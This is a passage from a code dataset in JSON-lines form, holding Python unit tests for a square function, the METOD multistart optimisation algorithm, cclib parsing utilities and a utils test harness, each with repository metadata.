"num_tokens": 660, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.11757213818344736, "lm_q1q2_score": 0.05603248859027764}}
{"text": "import unittest\n\nimport numpy as np\n\nimport functions\n\n\nclass TestSquare(unittest.TestCase):\n\n    def check_square(self, x, y_desired):\n        y_actual = functions.square(x)\n        np.testing.assert_equal(y_desired, y_actual)\n\n    def test_scalar(self):\n        x = 1\n        y_desired = 1\n        self.check_square(x, y_desired)\n\n    def test_ndarray(self):\n        x = np.array([0, 1, 2, 3], dtype=np.float32)\n        y_desired = np.array([0, 1, 4, 9], dtype=np.float32)\n        self.check_square(x, y_desired)\n\n    def test_invalid_input(self):\n        with self.assertRaises(TypeError):\n            functions.square('a')\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "3b753245ec312e88b6bb2b82e8328ed5cdf04c36", "size": 676, "ext": "py", "lang": "Python", "max_stars_repo_path": "test_functions.py", "max_stars_repo_name": "ronekko/ci-experiment", "max_stars_repo_head_hexsha": "79dc659002bb7dbc21e970225d0c33757629de69", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test_functions.py", "max_issues_repo_name": "ronekko/ci-experiment", "max_issues_repo_head_hexsha": "79dc659002bb7dbc21e970225d0c33757629de69", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test_functions.py", "max_forks_repo_name": "ronekko/ci-experiment", "max_forks_repo_head_hexsha": "79dc659002bb7dbc21e970225d0c33757629de69", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.8064516129, "max_line_length": 60, "alphanum_fraction": 0.6316568047, "include": true, "reason": "import numpy", "num_tokens": 173, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38861802670584894, "lm_q2_score": 0.14414885303274058, "lm_q1q2_score": 0.05601884281749507}}
{"text": "import numpy as np\nimport pytest\nfrom hypothesis import assume, given, settings, strategies as st\n\nimport metod_alg as mt\nfrom metod_alg import objective_functions as mt_obj\nfrom metod_alg import metod_algorithm_functions as mt_alg\n\n\ndef func_params(d=20, p=2, lambda_1=1, lambda_2=10):\n    \"\"\"Generates parameters to use for tests.\"\"\"\n    f = mt_obj.several_quad_function\n    g = mt_obj.several_quad_gradient\n    store_x0, matrix_test = (mt_obj.function_parameters_several_quad\n                             (p, d,  lambda_1, lambda_2))\n    func_args = p, store_x0, matrix_test\n    return f, g, func_args\n\n\ndef test_1():\n    \"\"\"Asserts error message when num_points is not integer.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    num_points_t = 0.01\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d, num_points=num_points_t)\n\n\ndef test_2():\n    \"\"\"Asserts error message when d is not integer.\"\"\"\n    d = 0.01\n    p = 10\n    f = mt_obj.several_quad_function\n    g = mt_obj.several_quad_gradient\n    func_args = (p, np.random.uniform(0, 1, (p, )),\n                 np.random.uniform(0, 1, (p, 10, 10)))\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d)\n\n\ndef test_3():\n    \"\"\"Asserts error message when beta is not integer or float.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    beta_t = True\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d, beta=beta_t)\n\n\ndef test_4():\n    \"\"\"Asserts error message when tolerance is not float.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    tolerance_t = True\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d, tolerance=tolerance_t)\n\n\ndef test_5():\n    \"\"\"Asserts error message when projection is not boolean.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    projection_t = 0.01\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d, projection=projection_t)\n\n\ndef test_6():\n    \"\"\"Asserts error message when const is not integer or float.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    const_t = 'test'\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d, const=const_t)\n\n\ndef test_7():\n    \"\"\"Asserts error message when m is not integer.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    m_t = 0.9\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d, m=m_t)\n\n\ndef test_8():\n    \"\"\"Asserts error message when option is not a string.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    option_t = True\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d, option=option_t)\n\n\ndef test_9():\n    \"\"\"Asserts error message when met is not a string.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    met_t = 0.1\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d, met=met_t)\n\n\ndef test_10():\n    \"\"\"Asserts error message when initial_guess is not a integer or float.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    initial_guess_t = '213'\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d,\n                 initial_guess=initial_guess_t)\n\n\ndef test_11():\n    \"\"\"Asserts error message when d < 2.\"\"\"\n    d = 1\n    p = 10\n    f = mt_obj.several_quad_function\n    g = mt_obj.several_quad_gradient\n    func_args = (p, np.random.uniform(0, 1, (p, )),\n                 np.random.uniform(0, 1, (p, 10, 10)))\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d)\n\n\ndef test_12():\n    \"\"\"Asserts error message when m < 1.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    m_t = 0\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d, m=m_t)\n\n\ndef test_13():\n    \"\"\"\n    Asserts error message when bounds_set_x does not contain an integer or\n    float.\n    \"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    bounds_set_x_t = (True, 1)\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d,\n                 bounds_set_x=bounds_set_x_t)\n\n\ndef test_14():\n    \"\"\"\n    Asserts error message when bounds_set_x does not contain an integer or\n    float.\n    \"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    bounds_set_x_t = (0, 'False')\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d,\n                 bounds_set_x=bounds_set_x_t)\n\n\ndef test_15():\n    \"\"\"Asserts warning message when beta >= 1.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    beta_t = 1\n    with pytest.warns(RuntimeWarning):\n        mt.metod(f, g, func_args, d, beta=beta_t)\n\n\ndef test_16():\n    \"\"\"Asserts warning message when tolerance > 0.1.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    tolerance_t = 0.2\n    with pytest.warns(RuntimeWarning):\n        mt.metod(f, g, func_args, d, tolerance=tolerance_t)\n\n\ndef test_17():\n    \"\"\"\n    Asserts error message when number of iterations is less than m.\n    \"\"\"\n    np.random.seed(90)\n    d = 2\n    p = 2\n    lambda_1 = 1\n    lambda_2 = 3\n    tolerance_t = 0.1\n    m_t = 6\n    f, g, func_args = func_params(d, p, lambda_1, lambda_2)\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d, tolerance=tolerance_t, m=m_t)\n\n\ndef test_18():\n    \"\"\"Asserts error message when len(bounds_set_x) > 2.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    bounds_set_x_t = (0, 1, 2)\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d,\n                 bounds_set_x=bounds_set_x_t)\n\n\ndef test_19():\n    \"\"\"\n    Asserts error message when relax_sd_it is not\n    integer or float.\n    \"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    relax_sd_it_t = 'Test'\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d,\n                 relax_sd_it=relax_sd_it_t)\n\n\ndef test_20():\n    \"\"\"Asserts error message when relax_sd_it is less than zero.\"\"\"\n    d = 20\n    f, g, func_args = func_params()\n    relax_sd_it_t = -0.1\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d,\n                 relax_sd_it=relax_sd_it_t)\n\n\ndef test_21():\n    \"\"\"Asserts error message when set_x is not a valid choice.\"\"\"\n    d = 20\n    set_x_t = 'random_unif'\n    f, g, func_args = func_params()\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d,\n                 set_x=set_x_t)\n\n\ndef test_22():\n    \"\"\"\n    Asserts error message when too many starting points have a very small\n   gradient.\n    \"\"\"\n    np.random.seed(90)\n    f = mt_obj.sog_function\n    g = mt_obj.sog_gradient\n    d = 100\n    P = 50\n    lambda_1 = 1\n    lambda_2 = 10\n    sigma_sq = 1\n    store_x0, matrix_combined, store_c = (mt_obj.function_parameters_sog\n                                          (P, d, lambda_1, lambda_2))\n    func_args = P, sigma_sq, store_x0, matrix_combined, store_c\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d)\n\n\ndef test_23():\n    \"\"\"\n    Asserts error message when too many starting points have a very small\n    gradient.\n    \"\"\"\n    np.random.seed(90)\n    f = mt_obj.sog_function\n    g = mt_obj.sog_gradient\n    d = 100\n    P = 50\n    lambda_1 = 1\n    lambda_2 = 10\n    sigma_sq = 1.95\n    store_x0, matrix_combined, store_c = (mt_obj.function_parameters_sog\n                                          (P, d, lambda_1, lambda_2))\n    func_args = P, sigma_sq, store_x0, matrix_combined, store_c\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d)\n\n\ndef test_24():\n    \"\"\"Asserts error message when set_x is not a string.\"\"\"\n    num_points = 1000\n    d = 20\n    set_x_t = np.random.uniform(0, 1, (num_points, d))\n    f, g, func_args = func_params()\n    with pytest.raises(ValueError):\n        mt.metod(f, g, func_args, d,\n                 set_x=set_x_t)\n\n\n@settings(max_examples=10, deadline=None)\n@given(st.integers(2, 20), st.integers(0, 3), st.integers(2, 100))\ndef test_25(p, m, d):\n    \"\"\"\n    Test m is being applied correctly in metod.py when computing\n    distances.\n    \"\"\"\n    np.random.seed(p)\n    x = np.random.uniform(0, 1, (d, ))\n    tolerance = 0.00001\n    projection = False\n    option = 'minimize_scalar'\n    met = 'Brent'\n    initial_guess = 0.005\n    beta = 0.095\n    matrix_test = np.zeros((p, d, d))\n    store_x0 = np.random.uniform(0, 1, (p, d))\n    diag_vals = np.zeros(d)\n    diag_vals[:2] = np.array([1, 10])\n    diag_vals[2:] = np.random.uniform(2, 9, (d - 2))\n    matrix_test[0] = np.diag(diag_vals)\n    diag_vals = np.zeros(d)\n    diag_vals[:2] = np.array([1, 10])\n    diag_vals[2:] = np.random.uniform(2, 9, (d - 2))\n    matrix_test[1] = np.diag(diag_vals)\n    func_args = p, store_x0, matrix_test\n    f = mt_obj.several_quad_function\n    g = mt_obj.several_quad_gradient\n    usage = 'metod_algorithm'\n    relax_sd_it = 1\n    bound_1 = 0\n    bound_2 = 1\n    (iterations_of_sd,\n     its,\n     store_grad) = (mt_alg.apply_sd_until_stopping_criteria\n                    (x, d, projection, tolerance, option, met,\n                     initial_guess, func_args, f, g, bound_1,\n                     bound_2, usage, relax_sd_it, None))\n    \"\"\"METOD algorithm checks the below\"\"\"\n    assume(its > m)\n    sd_iterations_partner_points = (mt_alg.partner_point_each_sd\n                                    (iterations_of_sd, beta,\n                                     store_grad))\n    test_x = np.random.uniform(0, 1, (d, ))\n    original_shape = iterations_of_sd.shape[0]\n    \"\"\"Checking correct warm up applied when checking distances\"\"\"\n    set_dist = mt_alg.distances(iterations_of_sd, test_x, m, d, 'All')\n    assert(set_dist.shape == (original_shape - m,))\n    assert(set_dist.shape == (its + 1 - m,))\n    assert(sd_iterations_partner_points.shape[0] == iterations_of_sd.shape[0])\n\n\n@settings(max_examples=10, deadline=None)\n@given(st.integers(2, 20), st.integers(5, 100), st.integers(50, 1000))\ndef test_26(p, d, num_points_t):\n    \"\"\"\n    Check ouputs of algorithm with minimum of several Quadratic forms\n    function and gradient.\n    \"\"\"\n    np.random.seed(p)\n    lambda_1 = 1\n    lambda_2 = 10\n    store_x0, matrix_test = (mt_obj.function_parameters_several_quad\n                             (p, d, lambda_1, lambda_2))\n    func_args = p, store_x0, matrix_test\n    f = mt_obj.several_quad_function\n    g = mt_obj.several_quad_gradient\n    (discovered_minimizers,\n     number_minimizers,\n     func_vals_of_minimizers,\n     number_excessive_descents,\n     starting_points, no_its) = mt.metod(f, g, func_args, d,\n                                         num_points=num_points_t)\n    \"\"\"Check outputs are as expected\"\"\"\n    assert(len(discovered_minimizers) == number_minimizers)\n    assert(number_minimizers == len(func_vals_of_minimizers))\n\n    \"\"\"Ensure that each region of attraction discovered is unique\"\"\"\n    mt_obj.check_unique_minimizers(discovered_minimizers, number_minimizers,\n                                   mt_obj.calc_minimizer_sev_quad, func_args)\n    assert(no_its[0] > 4)\n    assert(np.where(no_its > 4)[0].shape[0] == number_excessive_descents\n           + number_minimizers)\n    \"\"\"Ensure that starting points used are of correct form\"\"\"\n    assert(np.array(starting_points).shape == (num_points_t, d))\n    assert(number_excessive_descents == 0)\n    for j in range(num_points_t):\n        for i in range(j+1, num_points_t):\n            assert(np.any(np.round(starting_points[j], 5) !=\n                   np.round(starting_points[i], 5)))\n\n\n@settings(max_examples=10, deadline=None)\n@given(st.integers(2, 20), st.integers(5, 100), st.integers(50, 1000))\ndef test_27(p, d, num_points_t):\n    \"\"\"\n    Check ouputs of algorithm with minimum of several Quadratic forms\n    function and gradient with set_x = 'random'.\n    \"\"\"\n    np.random.seed(p)\n    lambda_1 = 1\n    lambda_2 = 10\n    set_x_t = 'random'\n    store_x0, matrix_test = (mt_obj.function_parameters_several_quad\n                             (p, d, lambda_1, lambda_2))\n    func_args = p, store_x0, matrix_test\n    f = mt_obj.several_quad_function\n    g = mt_obj.several_quad_gradient\n    (discovered_minimizers,\n     number_minimizers,\n     func_vals_of_minimizers,\n     number_excessive_descents,\n     starting_points, no_its) = mt.metod(f, g, func_args, d,\n                                         num_points=num_points_t,\n                                         set_x=set_x_t)\n    \"\"\"Check outputs are as expected\"\"\"\n    assert(len(discovered_minimizers) == number_minimizers)\n    assert(number_minimizers == len(func_vals_of_minimizers))\n\n    assert(no_its[0] > 4)\n    assert(np.where(no_its > 4)[0].shape[0] == number_excessive_descents\n           + number_minimizers)\n    \"\"\"Ensure that each region of attraction discovered is unique\"\"\"\n    mt_obj.check_unique_minimizers(discovered_minimizers, number_minimizers,\n                                   mt_obj.calc_minimizer_sev_quad, func_args)\n\n    \"\"\"Ensure that starting points used are of correct form\"\"\"\n    assert(np.array(starting_points).shape == (num_points_t, d))\n    assert(number_excessive_descents == 0)\n    for j in range(num_points_t):\n        for i in range(j+1, num_points_t):\n            assert(np.any(np.round(starting_points[j], 5) !=\n                   np.round(starting_points[i], 5)))\n\n\ndef test_28():\n    \"\"\"\n    Checks ouputs of algorithm with Sum of Gaussians function and\n    gradient\n    \"\"\"\n    np.random.seed(11)\n    d = 20\n    p = 10\n    sigma_sq = 0.8\n    lambda_1 = 1\n    lambda_2 = 10\n    matrix_test = np.zeros((p, d, d))\n    store_x0, matrix_test, store_c = (mt_obj.function_parameters_sog\n                                      (p, d, lambda_1, lambda_2))\n    args = p, sigma_sq, store_x0, matrix_test, store_c\n    f = mt_obj.sog_function\n    g = mt_obj.sog_gradient\n    (discovered_minimizers, number_minimizers, func_vals_of_minimizers,\n     number_excessive_descents,\n     starting_points, no_its) = mt.metod(f, g, args, d)\n    \"\"\"Check outputs are as expected\"\"\"\n    assert(len(discovered_minimizers) == number_minimizers)\n    assert(number_minimizers == len(func_vals_of_minimizers))\n    assert(no_its[0] > 4)\n    assert(np.where(no_its > 4)[0].shape[0] == number_excessive_descents\n           + number_minimizers)\n    \"\"\"Ensure that each region of attraction discovered is unique\"\"\"\n    mt_obj.check_unique_minimizers(discovered_minimizers, number_minimizers,\n                                   mt_obj.calc_minimizer_sog, args)\n\n    \"\"\"Ensure that starting points used are of correct form\"\"\"\n    assert(np.array(starting_points).shape == (1000, d))\n    assert(number_excessive_descents >= 0)\n    for j in range(len(starting_points)):\n        for i in range(j+1, len(starting_points)):\n            assert(np.any(np.round(starting_points[j], 5) !=\n                   np.round(starting_points[i], 5)))\n\n\n@settings(max_examples=10, deadline=None)\n@given(st.integers(2, 20), st.integers(1, 5), st.integers(2, 100))\ndef test_29(p, m, d):\n    \"\"\"\n    Consider sd_iterations returned by apply_sd_until_warm_up.py. In order to\n    continue steepest descent iterations until some stopping condition is met,\n    we take the final point of sd_iterations and run\n    apply_sd_until_stopping_criteria.py.\n    Test checks that steepest descent iterations from an initial point\n    (apply_sd_until_stopping_criteria.py) are the same as when\n    apply_sd_until_warm_up.py and apply_sd_until_stopping_criteria.py are\n    applied.\n    \"\"\"\n    beta = 0.099\n    tolerance = 0.00001\n    projection = False\n    lambda_1 = 1\n    lambda_2 = 10\n    option = 'minimize_scalar'\n    met = 'Brent'\n    initial_guess = 0.005\n    f = mt_obj.several_quad_function\n    g = mt_obj.several_quad_gradient\n    \"\"\"Create objective function parameters\"\"\"\n    store_x0, matrix_test = (mt_obj.function_parameters_several_quad\n                             (p, d, lambda_1, lambda_2))\n    func_args = p, store_x0, matrix_test\n    \"\"\"Generate random starting point\"\"\"\n    bound_1 = 0\n    bound_2 = 1\n    usage = 'metod_algorithm'\n    relax_sd_it = 1\n    x = np.random.uniform(bound_1, bound_2, (d, ))\n    (warm_up_sd,\n     warm_up_sd_partner_points,\n     store_grad_warm_up) = (mt_alg.apply_sd_until_warm_up\n                            (x, d, m, beta, projection,\n                             option, met, initial_guess,\n                             func_args, f, g, bound_1,\n                             bound_2, relax_sd_it,\n                             g(x, *func_args)))\n    x_2 = warm_up_sd[m].reshape(d, )\n    (iterations_of_sd_part,\n     its,\n     store_grad_part) = (mt_alg.apply_sd_until_stopping_criteria\n                         (x_2, d, projection, tolerance, option, met,\n                          initial_guess, func_args, f, g, bound_1,\n                          bound_2, usage, relax_sd_it, store_grad_warm_up[-1]))\n    iterations_of_sd = np.vstack([warm_up_sd, iterations_of_sd_part[1:, ]])\n    sd_iterations_partner_points_part = (mt_alg.partner_point_each_sd\n                                         (iterations_of_sd_part, beta,\n                                          store_grad_part))\n    sd_iterations_partner_points = np.vstack([\n                                   warm_up_sd_partner_points,\n                                   sd_iterations_partner_points_part[1:, ]])\n\n    store_all_grad = np.vstack([store_grad_warm_up,\n                                store_grad_part[1:, ]])\n    (iterations_of_sd_test,\n     its_test,\n     store_grad_test) = (mt_alg.apply_sd_until_stopping_criteria\n                         (x, d, projection, tolerance, option,\n                          met, initial_guess, func_args, f, g,\n                          bound_1, bound_2, usage, relax_sd_it,\n                          g(x, *func_args)))\n    sd_iterations_partner_points_test = (mt_alg.partner_point_each_sd\n                                         (iterations_of_sd_test, beta,\n                                          store_grad_test))\n\n    assert(np.all(np.round(iterations_of_sd_test, 4) == np.round\n           (iterations_of_sd, 4)))\n\n    assert(np.all(np.round(sd_iterations_partner_points_test, 4) == np.round\n           (sd_iterations_partner_points, 4)))\n\n    assert(iterations_of_sd_test.shape[0] == iterations_of_sd.shape[0])\n    assert(iterations_of_sd.shape[0] == its + m + 1)\n\n    assert(sd_iterations_partner_points_test.shape[0] ==\n           sd_iterations_partner_points.shape[0])\n\n    assert(its_test == its + m)\n    assert(np.all(store_grad_test == store_all_grad))\n", "meta": {"hexsha": "3fee9f4390186a68544bdc5d268697360248dc2d", "size": 18251, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_metod.py", "max_stars_repo_name": "Megscammell/METOD-Algorithm", "max_stars_repo_head_hexsha": "7518145ec100599bddc880f5f52d28f9a3959108", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_metod.py", "max_issues_repo_name": "Megscammell/METOD-Algorithm", "max_issues_repo_head_hexsha": "7518145ec100599bddc880f5f52d28f9a3959108", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-11-17T09:03:17.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-17T09:03:17.000Z", "max_forks_repo_path": "tests/test_metod.py", "max_forks_repo_name": "Megscammell/METOD-Algorithm", "max_forks_repo_head_hexsha": "7518145ec100599bddc880f5f52d28f9a3959108", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.4267399267, "max_line_length": 79, "alphanum_fraction": 0.6217193578, "include": true, "reason": "import numpy", "num_tokens": 4921, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091957, "lm_q2_score": 0.11279540777409121, "lm_q1q2_score": 0.05595710578938284}}
{"text": "# -*- coding: utf-8 -*-\n#\n# Copyright (c) 2018, the cclib development team\n#\n# This file is part of cclib (http://cclib.github.io) and is distributed under\n# the terms of the BSD 3-Clause License.\n\n\"\"\"Unit tests for utilities.\"\"\"\n\nimport unittest\n\nfrom cclib.parser import utils\n\nimport numpy\nimport scipy.spatial.transform\n\n\nclass FloatTest(unittest.TestCase):\n    def test_float_basic(self):\n        \"\"\"Are floats converted from strings correctly?\"\"\"\n        self.assertEqual(utils.float(\"0.0\"), 0.0)\n        self.assertEqual(utils.float(\"1.0\"), 1.0)\n        self.assertEqual(utils.float(\"-1.0\"), -1.0)\n\n    def test_float_numeric_format(self):\n        \"\"\"Does numeric formatting get converted correctly?\"\"\"\n        self.assertEqual(utils.float(\"1.2345E+02\"), 123.45)\n        self.assertEqual(utils.float(\"1.2345D+02\"), 123.45)\n\n    def test_float_stars(self):\n        \"\"\"Does the function return nan for stars?\"\"\"\n        self.assertTrue(numpy.isnan(utils.float(\"*\")))\n        self.assertTrue(numpy.isnan(utils.float(\"*****\")))\n\n\nclass ConvertorTest(unittest.TestCase):\n\n    def test_convertor(self):\n        self.assertEqual(f\"{utils.convertor(8.0, 'eV', 'wavenumber'):.3f}\", \"64524.354\")\n\n\nclass GetRotationTest(unittest.TestCase):\n    delta = 1e-14\n\n    def setUp(self):\n        self.r = scipy.spatial.transform.Rotation.from_euler('xyz', [15, 25, 35], degrees=True)\n        self.t = numpy.array([-1, 0, 2])\n        self.a = numpy.array([[1., 1., 1.],\n                              [0., 1., 2.],\n                              [0., 0., 0.],\n                              [0., 0., 4.]])\n        self.b = self.r.apply(self.a + self.t)\n\n    def test_default(self):\n        \"\"\"Is the rotation is correct?\"\"\"\n        _r = utils.get_rotation(self.a, self.b)\n        # as_dcm is renamed to from_matrix in scipy 1.4.0 and will be removed in sicpy 1.6.0\n        if hasattr(self.r, \"as_matrix\"):\n            numpy.testing.assert_allclose(self.r.as_matrix(), _r.as_matrix(), atol=self.delta)\n        else:\n            numpy.testing.assert_allclose(self.r.as_dcm(), _r.as_dcm(), atol=self.delta)\n\n    def test_two_atoms(self):\n        \"\"\"Is the rotation is correct for 2 atoms?\"\"\"\n        a2 = self.a[:2]\n        b2 = self.b[:2]\n        rotated_diff = self.r.apply(a2) - utils.get_rotation(a2, b2).apply(a2)\n        # rotated_diff should be translation\n        numpy.testing.assert_allclose(rotated_diff[0], rotated_diff[1], atol=self.delta)\n\n    def test_one_atom(self):\n        \"\"\"Is the rotation is identity for 1 atom?\"\"\"\n        a1 = self.a[:1]\n        b1 = self.b[:1]\n        if hasattr(self.r, \"as_matrix\"):\n            numpy.testing.assert_allclose(numpy.eye(3), utils.get_rotation(a1, b1).as_matrix(), atol=self.delta)\n        else:\n            numpy.testing.assert_allclose(numpy.eye(3), utils.get_rotation(a1, b1).as_dcm(), atol=self.delta)\n\n\nclass PeriodicTableTest(unittest.TestCase):\n\n    def setUp(self):\n        self.t = utils.PeriodicTable()\n\n    def test_periodictable(self):\n        self.assertEqual(self.t.element[6], 'C')\n        self.assertEqual(self.t.number['C'], 6)\n        self.assertEqual(self.t.element[44], 'Ru')\n        self.assertEqual(self.t.number['Au'], 79)\n\n\nclass WidthSplitterTest(unittest.TestCase):\n\n    def test_default(self):\n        \"\"\"Does the splitter remove empty fields by default properly?\"\"\"\n        fixed_splitter = utils.WidthSplitter((4, 3, 5, 6, 10, 10, 10, 10, 10, 10))\n        line_full = \"  60  H 10  s        0.14639   0.00000   0.00000  -0.00000  -0.00000   0.00000\"\n        line_truncated = \"   1  C 1   s       -0.00000  -0.00000   0.00000\"\n        ref_full = ['60', 'H', '10', 's', '0.14639', '0.00000', '0.00000', '-0.00000', '-0.00000', '0.00000']\n        ref_truncated = ['1', 'C', '1', 's', '-0.00000', '-0.00000', '0.00000']\n        tokens_full = fixed_splitter.split(line_full)\n        tokens_truncated = fixed_splitter.split(line_truncated)\n        self.assertEqual(ref_full, tokens_full)\n        self.assertEqual(ref_truncated, tokens_truncated)\n\n    def test_no_truncation(self):\n        \"\"\"Does the splitter return even the empty fields when asked?\"\"\"\n        fixed_splitter = utils.WidthSplitter((4, 3, 5, 6, 10, 10, 10, 10, 10, 10))\n        line = \"   1  C 1   s       -0.00000  -0.00000   0.00000\"\n        ref_not_truncated = ['1', 'C', '1', 's', '-0.00000', '-0.00000', '0.00000', '', '', '']\n        tokens_not_truncated = fixed_splitter.split(line, truncate=False)\n        self.assertEqual(ref_not_truncated, tokens_not_truncated)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "8a789286f07032d171d4b7ff0bdb7b3e5340493a", "size": 4549, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/test_utils.py", "max_stars_repo_name": "jvalegre/cclib", "max_stars_repo_head_hexsha": "97ee8b36b83e6d51ce51fe3b08a6fc9bcc2df9a9", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test/test_utils.py", "max_issues_repo_name": "jvalegre/cclib", "max_issues_repo_head_hexsha": "97ee8b36b83e6d51ce51fe3b08a6fc9bcc2df9a9", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/test_utils.py", "max_forks_repo_name": "jvalegre/cclib", "max_forks_repo_head_hexsha": "97ee8b36b83e6d51ce51fe3b08a6fc9bcc2df9a9", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.5508474576, "max_line_length": 112, "alphanum_fraction": 0.6087052099, "include": true, "reason": "import numpy,import scipy", "num_tokens": 1266, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.11279539882690354, "lm_q1q2_score": 0.05595710135073824}}
{"text": "\"\"\"\n  This Module performs Unit Tests for the utils methods\n  It cannot be considered part of the active code but of the regression test system\n\"\"\"\n\n#For future compatibility with Python 3\nfrom __future__ import division, print_function, unicode_literals, absolute_import\nimport warnings\nwarnings.simplefilter('default',DeprecationWarning)\n\nimport os,sys\nimport numpy as np\nframeworkDir = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])),os.pardir,os.pardir,os.pardir,os.pardir,'framework'))\nsys.path.append(frameworkDir)\nfrom utils import utils\n\nprint (utils)\n\nresults = {\"pass\":0,\"fail\":0}\n\ndef checkTrue(comment,value,expected):\n  \"\"\"\n    Takes a boolean and checks it against True or False.\n  \"\"\"\n  if value == expected:\n    results[\"pass\"] += 1\n    return True\n  else:\n    print(\"checking answer\",comment,value,\"!=\",expected)\n    results[\"fail\"] += 1\n    return False\n\ndef checkAnswer(comment,value,expected,tol=1e-10,updateResults=True):\n  \"\"\"\n    This method is aimed to compare two floats given a certain tolerance\n    @ In, comment, string, a comment printed out if it fails\n    @ In, value, float, the value to compare\n    @ In, expected, float, the expected value\n    @ In, tol, float, optional, the tolerance\n    @ In, updateResults, bool, optional, if True updates global results\n    @ Out, None\n  \"\"\"\n  if abs(value - expected) > tol:\n    print(\"checking answer\",comment,value,\"!=\",expected)\n    if updateResults:\n      results[\"fail\"] += 1\n    return False\n  else:\n    if updateResults:\n      results[\"pass\"] += 1\n    return True\n\ndef checkArray(comment,check,expected,tol=1e-10):\n  \"\"\"\n    This method is aimed to compare two arrays of floats given a certain tolerance\n    @ In, comment, string, a comment printed out if it fails\n    @ In, check, list, the value to compare\n    @ In, expected, list, the expected value\n    @ In, tol, float, optional, the tolerance\n    @ Out, None\n  \"\"\"\n  same=True\n  if len(check) != len(expected):\n    same=False\n  else:\n    for i in range(len(check)):\n      same = same*checkAnswer(comment+'[%i]'%i,check[i],expected[i],tol,False)\n  if not same:\n    print(\"checking array\",comment,\"did not match!\")\n    results['fail']+=1\n    return False\n  else:\n    results['pass']+=1\n    return True\n\ndef checkType(comment,value,expected,updateResults=True):\n  \"\"\"\n    This method compares the data type of two values\n    @ In, comment, string, a comment printed out if it fails\n    @ In, value, float, the value to compare\n    @ In, expected, float, the expected value\n    @ In, updateResults, bool, optional, if True updates global results\n    @ Out, None\n  \"\"\"\n  if type(value) != type(expected):\n    print(\"checking type\",comment,value,'|',type(value),\"!=\",expected,'|',type(expected))\n    if updateResults:\n      results[\"fail\"] += 1\n    return False\n  else:\n    if updateResults:\n      results[\"pass\"] += 1\n    return True\n\n# check getRelativeSortedListEntry\ntoPopulate = [0.8, 0.002, 0.0003, 0.9, 0.85, 0.799999999999, 